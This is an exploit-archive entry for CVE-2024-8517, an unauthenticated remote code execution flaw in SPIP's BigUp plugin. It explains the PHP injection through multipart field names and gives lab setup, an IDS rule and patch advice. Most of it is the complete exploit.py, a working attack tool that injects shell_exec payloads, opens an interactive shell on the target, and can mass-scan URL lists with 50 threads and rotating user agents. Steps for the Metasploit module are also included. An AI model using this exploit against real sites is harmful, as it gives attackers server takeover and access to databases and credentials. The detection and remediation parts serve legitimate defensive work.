PoC Archive PoC Archive
CVE-2024-8517 category: web CVSS 9.8 (CRITICAL) EPSS 91%
Unverified

SPIP BigUp Plugin Unauthenticated Remote Code Execution (CVE-2024-8517)

Published: 2026-11-27 • Researcher: Valentin Lobstein (Chocapikk), repository and Metasploit module author; vulnerability discovered by Vozec and Laluka of ThinkLoveShare

Target software SPIP content management system with the BigUp plugin
Affected versions SPIP before 4.3.2, 4.2.16 and 4.1.18 (NVD ranges 4.0.0 to before 4.1.18, 4.2.0 through 4.2.15); BigUp plugin before 3.1.6
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 91%

EPSS 91.1% · 100th percentile

Severity
Critical
CVE
CVE-2024-8517
Category
web
Affected product
SPIP content management system with the BigUp plugin
Affected versions
SPIP before 4.3.2, 4.2.16 and 4.1.18 (NVD ranges 4.0.0 to before 4.1.18, 4.2.0 through 4.2.15); BigUp plugin before 3.1.6
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2024-09-07
Author / ResearcherValentin Lobstein (Chocapikk), repository and Metasploit module author; vulnerability discovered by Vozec and Laluka of ThinkLoveShare
CVE / AdvisoryCVE-2024-8517
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD); EPSS 0.911
StatusWeaponized
TagsSPIP, BigUp, unauthenticated, multipart, code-injection, command-injection, RCE, PHP, CWE-73, CWE-78, Metasploit
RelatedN/A

Affected Target

FieldValue
Software / SystemSPIP content management system with the BigUp plugin
Versions AffectedSPIP before 4.3.2, 4.2.16 and 4.1.18 (NVD ranges 4.0.0 to before 4.1.18, 4.2.0 through 4.2.15); BigUp plugin before 3.1.6
Language / PlatformPHP application on Linux or Windows web servers; Python 3 attacker script, or Ruby Metasploit module
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the SPIP public interface)

Summary

SPIP’s BigUp plugin builds PHP source from the names of uploaded multipart form fields when the search-files parameter is present, without escaping attacker-controlled array keys. A remote unauthenticated attacker can therefore inject PHP statements into the generated code and execute them by sending a single crafted file upload to a page that renders a form. The repository ships a Python exploit that obtains a valid form token, runs commands and drops into an interactive shell, plus a matching Metasploit module and captured HTTP requests.

Vulnerability Details

Root Cause

The BigUp plugin’s lister_fichiers_par_champs routine is meant to record the files attached to a form. It walks the uploaded structure and concatenates field names into a PHP array literal that is written to a generated file and later included by the plugin. Because the multipart field name is interpolated into that source without quoting or validation, a name such as a[’.PAYLOAD.’] closes the string literal and array index and inserts arbitrary PHP that executes when the generated file is included. Setting bigup_retrouver_fichiers to 1 is enough to route the request into this path, so no plugin feature, login or capability check is needed. The flaw is therefore both a filename/path control issue and injected code evaluation, which is why NVD maps it to CWE-73 and CWE-78.

Attack Vector

An unauthenticated multipart POST to a SPIP page that emits a form, normally /spip.php with page=login, page=contact or page=spip_pass, or an article page. The request carries formulaire_action and formulaire_action_args copied from the rendered form (the token is public), bigup_retrouver_fichiers=1, and a file part whose name attribute holds the PHP injection, for example a[’. header(“X-Command-Output: " . base64_encode(shell_exec(base64_decode(“id”)))) . die() . ‘] with a dummy filename. The injected code runs during the include and writes command output back into a response header.

Impact

Arbitrary PHP and OS command execution as the web server account (www-data in the documented lab), without authentication. An attacker can read SPIP configuration and database credentials, modify or exfiltrate content, upload further payloads, and use the host as a foothold. Integrity and confidentiality of the site, its database and the underlying server are fully compromised.

Environment / Lab Setup

Output
OS:          Linux (Ubuntu 22.04 or similar) with PHP and Python 3
Target:      SPIP 4.3.1 with the BigUp plugin installed, served by php -S 0.0.0.0:8000
Attacker:    Linux or macOS with Python 3
Tools:       Python 3, pip, requests stack from requirements.txt, optionally Metasploit

Setup Steps

Shell script
1
2
3
4
5
6
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
mkdir spip && mv spip-v4.3.1.zip spip && cd spip
unzip spip-v4.3.1.zip

php -S 0.0.0.0:8000
pip install -r requirements.txt

BigUp must be active with a version below 3.1.6 for the upload path to be reachable; the packaged release of the plugin from the SPIP plugin repository is sufficient for a lab.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — Serve SPIP 4.3.1 with PHP’s built-in server and complete the installation at /ecrire so that public pages render.

  2. Validate a single target — The script fetches formulaire_action and formulaire_action_args from a page that contains a form, injects a whoami command, and reports the result.

    Shell script
    1
    
    python exploit.py -u http://localhost:8000
  3. Use the interactive shell — When the target answers, the script opens a command loop.

    Shell script
    1
    2
    
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
  4. Replay manually if preferred — poc.txt contains two captured multipart requests, including the pre-auth /spip.php variant with the field name a[’. system(“id”) . ‘][] and the parameter bigup_retrouver_fichiers set to 1.

  5. Metasploit alternative — Copy spip_bigup_unauth_rce.rb into the Metasploit modules tree as exploit/multi/http/spip_bigup_unauth_rce, set RHOSTS and TARGETURI, then run it.

Exploit Code

See exploit.py for the Python client and spip_bigup_unauth_rce.rb for the Metasploit module.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
php_payload = (
    f'header("X-Command-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))'
).replace('"', '\\"')

parts = [
    f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action"\r\n\r\n{form_data["action"]}',
    f'--{boundary}\r\nContent-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n\r\n1',
    f'--{boundary}\r\nContent-Disposition: form-data; name="{random_name}[\' . {php_payload} . die() . \']"; filename="{random_filename}"\r\nContent-Type: text/plain\r\n\r\nContenu du fichier!',
    f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action_args"\r\n\r\n{form_data["args"]}',
    f"--{boundary}--",
]
response = requests.post(self.base_url, data="\r\n".join(parts), headers=headers, timeout=5)
output = base64.b64decode(response.headers["X-Command-Output"]).decode()

Expected Output

Output
✅ Target is vulnerable! Command Output: www-data
ℹ️  Interactive shell started. Type `exit` to quit.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The Metasploit module prints the detected SPIP version, the plugin version when available, and then opens a PHP or command shell session, for example a meterpreter session on the target.

Detection & Indicators of Compromise

Output
POST /spip.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------

Content-Disposition: form-data; name="a['. system(\"id\") . '][]"; filename="a"

bigup_retrouver_fichiers=1

X-Command-Output: d3d3LWRhdGE=

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2024-8517 SPIP BigUp unauthenticated RCE attempt"; flow:to_server,established; content:"bigup_retrouver_fichiers"; http_client_body; pcre:"/name\s*=\s*\"[^\"]*\[\s*'\s*\./i"; reference:cve,2024-8517; sid:9000851;)

Remediation

ActionDetail
PatchUpgrade SPIP to 4.3.2, 4.2.16 or 4.1.18 or later, and update the BigUp plugin to 3.1.6 or later, where field names are escaped before code generation.
WorkaroundDeactivate or remove the BigUp plugin if it is not required, and block requests containing bigup_retrouver_fichiers at the reverse proxy or WAF.
Config HardeningRun PHP with the web user unable to write executable code outside its cache, apply a WAF rule for PHP syntax in multipart field names, review SPIP and plugin versions regularly, and rotate database and administrator credentials after any suspected exploitation.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/Chocapikk/CVE-2024-8517 (stars 16, latest commit dated 2024-09-07).

Review verdict: ingested. This is genuine exploit code, not a scanner: exploit.py resolves a real form token, injects PHP into a multipart field name, executes commands through shell_exec and prints the returned output, and the repository also provides a full Metasploit module plus captured raw requests. The mass-scanning mode (-f with threads) is a convenience wrapper around the same exploit request, and no C2, persistence, credential-theft or bot code is present.

License: the repository has no LICENSE file. The Metasploit module declares MSF_LICENSE and names the discoverers and module author; the upstream README carries an educational-use disclaimer. Attribution and the source URL are retained here and the copied Python file carries an archive header.

Limitations: the exploit needs a page that emits a form with formulaire_action and formulaire_action_args, so a hardened or form-less site can defeat the token retrieval, and FORM_PAGE in the Metasploit module exists for that case. The target must run a vulnerable SPIP release with BigUp below 3.1.6. exploit.py sets verify=False and uses randomly rotated user agents; the Metasploit module requires an installed framework. The repository contains no binaries or archives, so no files were dropped for size or type reasons, and the exploit was not executed during preparation of this entry.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
# Archived for authorized security research only.
# Source: https://github.com/Chocapikk/CVE-2024-8517 (see README for attribution/license)

import sys
import base64
import random
import string
import requests
import concurrent.futures
import rich_click as click

from bs4 import BeautifulSoup
from urllib.parse import urlparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem

requests.packages.urllib3.disable_warnings()


class SpipBigUp:
    def __init__(self, base_url, verbose=True, proxy=None):
        self.base_url = base_url
        self.proxies = {"http": proxy, "https": proxy} if proxy else None
        self.verbose = verbose
        software_names = [SoftwareName.CHROME.value, SoftwareName.FIREFOX.value]
        operating_systems = [
            OperatingSystem.WINDOWS.value,
            OperatingSystem.LINUX.value,
            OperatingSystem.MAC.value,
        ]
        user_agent_rotator = UserAgent(
            software_names=software_names,
            operating_systems=operating_systems,
            limit=100,
        )

        self.headers = {"User-Agent": user_agent_rotator.get_random_user_agent()}

    def custom_print(self, message: str, header: str) -> None:
        header_mapping = {
            "+": "✅",
            "-": "❌",
            "!": "⚠️",
            "*": "ℹ️ ",
        }

        emoji = header_mapping.get(header, "❓")
        formatted_message = f"{emoji} {message}"
        click.echo(click.style(formatted_message, bold=True, fg="white"))

    def get_form_action_args(self):
        parsed_url = urlparse(self.base_url)
        custom_path = parsed_url.path.lstrip("/")

        pages = []
        if custom_path:
            pages.append(custom_path)
        pages.extend(["login", "spip_pass", "contact"])

        for page in pages:
            url = (
                f"{parsed_url.scheme}://{parsed_url.netloc}/{page}"
                if custom_path and page == custom_path
                else f"{self.base_url}/spip.php?page={page}"
            )
            try:
                response = requests.get(
                    url,
                    headers=self.headers,
                    proxies=self.proxies,
                    verify=False,
                    timeout=5,
                )
                if response.status_code != 200:
                    continue

                soup = BeautifulSoup(response.text, "html.parser")
                form_data = {
                    "action": soup.find("input", {"name": "formulaire_action"}),
                    "args": soup.find("input", {"name": "formulaire_action_args"}),
                }

                form_data = {k: v.get("value") for k, v in form_data.items() if v}

                if len(form_data) == 2:
                    return form_data

            except requests.exceptions.RequestException as e:
                if self.verbose:
                    self.custom_print(
                        f"Failed to fetch form data from `{page}` page: {e}", "-"
                    )

        return None

    def post_article_form(self, form_data, command):
        try:
            boundary = "".join(
                random.choices(string.ascii_letters + string.digits, k=16)
            )
            random_name = "".join(random.choices(string.ascii_letters, k=4))
            random_filename = "".join(random.choices(string.ascii_letters, k=4))

            php_payload = (
                f'header("X-Command-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))'
            ).replace('"', '\\"')

            parts = [
                f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action"\r\n\r\n{form_data["action"]}',
                f'--{boundary}\r\nContent-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n\r\n1',
                f'--{boundary}\r\nContent-Disposition: form-data; name="{random_name}[\' . {php_payload} . die() . \']"; filename="{random_filename}"\r\nContent-Type: text/plain\r\n\r\nContenu du fichier!',
                f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action_args"\r\n\r\n{form_data["args"]}',
                f"--{boundary}--",
            ]
            body = "\r\n".join(parts)

            headers = self.headers.copy()
            headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"

            response = requests.post(
                self.base_url,
                data=body,
                headers=headers,
                proxies=self.proxies,
                verify=False,
                timeout=5,
            )

            return response
        except requests.exceptions.RequestException as e:
            pass

    def execute_command(self, form_data, command):
        encoded_command = base64.b64encode(command.encode()).decode()
        response = self.post_article_form(form_data, encoded_command)

        if response and response.status_code == 200:
            encoded_output = response.headers.get("X-Command-Output")
            if encoded_output:
                decoded_output = base64.b64decode(encoded_output).decode()
                return decoded_output
        return None

    def check_vulnerability(self):
        form_data = self.get_form_action_args()

        if not form_data:
            return False, None

        output = self.execute_command(form_data, "whoami")

        if output:
            return True, output
        return False, None

    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        form_data = self.get_form_action_args()

        if not form_data:
            self.custom_print(
                "Failed to retrieve `formulaire_action_args` value from both `login` and `contact` pages.",
                "-",
            )
            return

        self.custom_print("Interactive shell started. Type `exit` to quit.", "*")
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                self.custom_print("Exiting shell...", "*")
                break
            if cmd.lower() == "clear":
                sys.stdout.write("\x1b[2J\x1b[H")
                continue

            output = self.execute_command(form_data, cmd)

            if output:
                print(output)
            else:
                self.custom_print("Failed to receive response from the server.", "-")


@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
    help="""
        # 😈 SPIP BigUp Unauthenticated RCE Exploit 😈
        Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.3.1**.  
        The vulnerability lies in the **BigUp plugin**, where improperly handled file uploads can lead to **arbitrary PHP code execution**.  
        By crafting a malicious multipart form request, an attacker can gain remote code execution on the server.
        ## ⚠️ Use this tool responsibly.
    """
)
@click.option(
    "-u",
    "--url",
    help="🌐 The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
    "-f",
    "--file",
    help="📂 File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
    "-t",
    "--threads",
    default=50,
    show_default=True,
    help="⚙️  The number of **threads** to use during scanning.",
)
@click.option(
    "-o",
    "--output",
    help="💾 Specify an **output file** to save the list of vulnerable URLs.",
)
@click.option(
    "--proxy",
    help="🌍 Proxy to use for the requests (e.g., http://localhost:8080).",
)
def main(url, file, threads, output, proxy):
    if url:
        spip = SpipBigUp(url, proxy)

        is_vulnerable, output = spip.check_vulnerability()
        if is_vulnerable:
            spip.custom_print(f"Target is vulnerable! Command Output: {output}", "+")
            spip.interactive_shell()
        else:
            spip.custom_print(
                "The target is not vulnerable or the exploit failed.", "-"
            )

    elif file:
        urls = []
        with open(file, "r") as url_file:
            urls = [line.strip() for line in url_file if line.strip()]

        def process_url(url):
            spip = SpipBigUp(url, proxy)
            is_vulnerable, command_output = spip.check_vulnerability()
            return spip, url, is_vulnerable, command_output

        with alive_bar(len(urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                futures = {executor.submit(process_url, url): url for url in urls}
                for future in concurrent.futures.as_completed(futures):
                    spip, url, is_vulnerable, command_output = future.result()
                    if is_vulnerable:
                        spip.custom_print(f"Vulnerable URL: {url}", "+")
                        if command_output:
                            spip.custom_print(f"Command Output: {command_output}", "+")
                        if output:
                            with open(output, "a") as f:
                                f.write(f"{url}\n")
                    bar()

    else:
        click.echo("You must specify either a single URL or a file containing URLs.")


if __name__ == "__main__":
    main()